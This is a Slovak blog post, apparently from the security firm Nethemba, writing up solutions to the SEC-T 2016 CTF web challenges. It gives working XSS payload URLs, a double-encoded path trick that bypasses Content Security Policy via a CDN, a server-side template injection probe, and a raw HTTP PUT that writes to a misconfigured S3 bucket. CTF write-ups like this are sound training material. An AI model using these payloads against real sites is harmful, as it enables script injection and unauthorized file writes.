CTF sect.ctf.rocks - Nethemba

BLOG

CTF sect.ctf.rocks

2016-09-12 13:19 Norbert Szetei

Niekoľko dní nazad sa konala vo Švédsku bezpečnostná konferencia SECT-T, ktorej súčasťou bolo CTF.

Vzhľadom k tomu, že prebiehala počas pracovných dní sa CTF zúčastnili len desiatky tímov (bežne býva účasť niekoľkonásobne vyššia). Ako to na podobných CTF býva, úlohy boli rozdelené do niekoľkých kategórií, v tomto prípade išlo o binárnu exploitáciu, reverse engineering, weby a kategóriu misc, ktorá sa najviac podobala na forenznú analýzu.

Najzaujímavejšie mi prišli úlohy v kategórii web, ktoré naprogramoval Mathias Karlsson, populárny researcher v oblasti webovej bezpečnosti a keďže pokrývali moderné útoky (inšpirované aj poslednými nálezmi z rôznych bug bounty programov), popíšem ich riešenie podrobnejšie.

Admin I – Web (100)

V tejto najjednoduchšej úlohe bolo cieľom spustiť potenciálne škodlivý JavaScript kód, ako “proof of concept” to znamenalo zavolanie funkcie alert(1).

HTML kód so zadaním:


<!DOCTYPE html>

<html>
<head>
        <title>XSS1</title>
        <link rel="stylesheet" href="/custom.css" />
</head>
<body>
        <main id="main">
                <p>Can you alert(1) <a href="?xss=stuff">this page</a> (in firefox)?</p>
                <p>Send your XSS link for flag here:</p>
                <form method="post" action="contact.php">
                        <input type="text" name="url" value="" placeholder="http://xss1.sect.ctf.rocks/?xss=">
                        <input type="submit" name="submit" value="Send">
                </form>
        </main>
</body>
</html>
<script>
dontrunthisscript();
var a = "stuff";

</script>


Tu dokážeme vkladať kód do premennej a (stuff). Problém predstavuje funkcia dontrunthisscript(), ktorá sa síce zavolá, nie je však nikde definovaná. JavaScript interpreter vypíše chybu a odmieta spustiť ďalší kód. Riešenie je možné sa dočítať napríklad na https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions:

Unlike functions defined by function expression or by the Function constructor, a function defined by a function declaration can be used before the function declaration itself. For example:

foo(); // alerts FOO!

function foo() {

alert(‘FOO!’);

}

Výsledný exploit má tvar:

http://xss1.sect.ctf.rocks/?xss=stuff%22;alert(1);function%20dontrunthisscript(){};//

Admin II – Web (200)

Úloha je podobná ako predtým, nie je však možné použiť zátvorky a znak rovná sa, k čomu by stačilo aplikovať známy enkóder pre nealfanumerický payload. Ak si niekto spomenie na XSS challenge z roku 2014, riešením bolo použiť sémantiku z ES6, konkrétne:

http://xss2.sect.ctf.rocks/?xss=stuff%22;eval.call`${‘alert\x281\x29’}`;//

Pre doplnkové informácie odporúčam preštudovať si referencie. 

Admin III – Web (400)

Zdrojový HTML a zadanie je opäť takmer identické, všimneme si však rozdiel v hlavičke:


$ curl -i “xss3.sect.ctf.rocks/?xss=stuff”
HTTP/1.1 200 OK
Server: nginx/1.10.0 (Ubuntu)
Date: Sat, 10 Sep 2016 10:17:35 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Content-Security-Policy: default-src ‘none’; style-src ‘self’; img-src ‘self’; script-src https://cdnjs.cloudflare.com/ajax/libs/jquery/
Set-Cookie: PHPSESSID=gva2nj4bg7vgmabh5hli2nkk41; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
<!DOCTYPE html>
<html>
<head>
               <title>XSS3</title>
               <link rel=”stylesheet” href=”/custom.css” />
</head>
<body>
               <main id=”main”>
                       <p>Can you alert(1) <a href=”?xss=stuff”>this page</a> (in firefox)?</p>
                       <p>Send your XSS link for flag here:</p>
                       <form method=”post” action=”contact.php”>
                               <input type=”text” name=”url” value=”” placeholder=”http://xss3.sect.ctf.rocks/?xss=”>
                               <input type=”submit” name=”submit” value=”Send”>
                       </form>
               </main>
</body>
</html>
stuff

Ako vidíme, cieľom je prekonať CSP, ktoré je implementované nasledovne:

default-src ‘none’; style-src ‘self’; img-src ‘self’; script-src https://cdnjs.cloudflare.com/ajax/libs/jquery/

Týmto je možné nalinkovať JavaScript jedine z danej CDN siete, kde sa bežne nachádzajú aj už neaktuálne verzie. Pôvodne som chcel postupovať použitím starej deravej knižnice “JQuery”, keďže je však nastavené obmedzenie aj pre vlastné elementy a selektory, nešlo túto techniku použiť.

Zaujímavé spôsoby, ako obísť CSP sú popísané opäť na XSSChallengeWiki.

Jeden z nich sa nachádza nižšie:


“ng-app ng-csp>
<base href=//ajax.googleapis.com/ajax/libs/><script src=angularjs/1.0.1/angular.js></script>
<script src=prototype/1.7.2.0/prototype.js></script>{{$on.curry.call().alert(1337

Postup je zdokumentovaný napríklad tu, strana 17.

Tu ale nastáva problém, keďže CSP je limitované pre cestu /ajax/libs/jquery. My však potrebujeme pristupovať do /ajax/libs/angularjs/.

Ak si uvedomíme, že CSP môže byť zraniteľné na double encoding, úlohu máme vyriešenú:


<script src=”https://cdnjs.cloudflare.com/ajax/libs/jquery/..%252fangular.js/1.0.1/angular.js”></script>
<script src=”https://cdnjs.cloudflare.com/ajax/libs/jquery/..%252fprototype/1.7.2/prototype.js”></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
</div>

Pre prehliadač platí, že /test%2f1337 je interpretovaný rovnako ako /test/1337. Nie je to ale prípad pre implementáciu CSP, ktorá považuje /test%2f1337 za súbor nachádzajúci sa v adresári /, čo momentálne predstavuje bezpečnostnú dieru v aktuálnej verzii prehliadača Firefox.

Web 300 Techno_Tech

Zraniteľnosť, ktorú sa mi po pár sekundách podarilo objaviť sa týkala Template Injection. Je identická ako pri nedávnom hacku webu pre Uber, kde sa programátor rozhodol napísať vlastný template pre 404 handler, ktorý vyzerá nasledovne:


       template = ”’
        {%% block body %%}
            <div class=”center-content error”>
                <h1>Oops! That page doesn’t exist.</h1>
                <h3>%s</h3>
            </div>
        {%% endblock %%}

Pri použití URL /test{{9*9}} nám webový server vráti odpoveď o neexistenci súboru test81. Tento poznatok je možné eskalovať ďalej a väčšinou už dokáže útočník prečítať alebo zapisovať do ľubovolného súboru na disku, prípadne zmenou konfiguračného súboru spustiť ľubovolný príkaz s právami webového používateľa. Moje riešenie je popísané tu, inšpirované blogom, uvedeným v referenciách, kde sa dočítate podrobnejšie detaily.

iFile – Web (250)

Webová stránka obsahovala odkaz http://filer.sect.ctf.rocks/?bulkfile=http://files.filer.sect.ctf.rocks/example.txt, v súbore example.txt sa nachádzali názvy dvoch súborov, obsah prvého z nich sa vložil do hlavičky, druhý tvoril text stránky.

Samotná stránka nevykazovala nijaké známe bezpečnostné nedostatky. “files.filer.sect.ctf.rocks” je Amazon S3 Bucket a pokiaľ nie sú dobre nastavené oprávnenia, je možné pre anonymného útočníka zistiť zoznam súborov v buckete, skopírovať ich alebo uploadnúť. Prakticky bola táto zraniteľnosť demonštrovaná napríklad tu a tu pre weby Hackerone a Harvest.

Riešenie:


$ telnet files.filer.sect.ctf.rocks 80

Trying 54.231.17.73…
Connected to s3-1-w.amazonaws.com.
Escape character is ‘^]’.
PUT /abc.txt HTTP/1.1
Host: files.filer.sect.ctf.rocks
Date: Sat, 10 Sep 2016 09:21:02 GMT
Content-Type: text/plain
Content-Length: 32
/files/flag.php
/files/flag.php
HTTP/1.1 200 OK
x-amz-id-2: 3GLe0t1bgnmvrVbZic0CAjd8x5mwPBJRR6stEJj+e6/7x+8tZe0jteImuhxukQKZJFa6z0yOnrY=
x-amz-request-id: 3F732267A35970EC
Date: Sat, 10 Sep 2016 09:21:26 GMT
ETag: “c1f1b2f47ed3ad9c7785dc233fcb1ce5”
Content-Length: 0
Server: AmazonS3

Po navštívení http://filer.sect.ctf.rocks/?bulkfile=http://files.filer.sect.ctf.rocks/abc.txt sa zobrazilo riešenie.

Záver:

Keďže načasovanie súťaže nebolo pre mňa práve najlepšie a venoval som súťaži iba niekoľko hodín voľného času, skončil som len v prvej desiatke. Úlohy neboli až tak náročné ako v prípade iných prestížnych CTF (PPP, CSAW, ASIS), napriek tomu predstavovali výzvu a podľa mňa reflektovali dostatočne aj stupeň komplexity, ktorá je bežná pri hackovaní rôznych bug bounty programov.

Pokiaľ by ste si chceli úlohy sami vyskúšať, ich mirror je v čase písania tohto článku k dispozícii na stránke http://mirror.sect.ctf.rocks.

Referencie: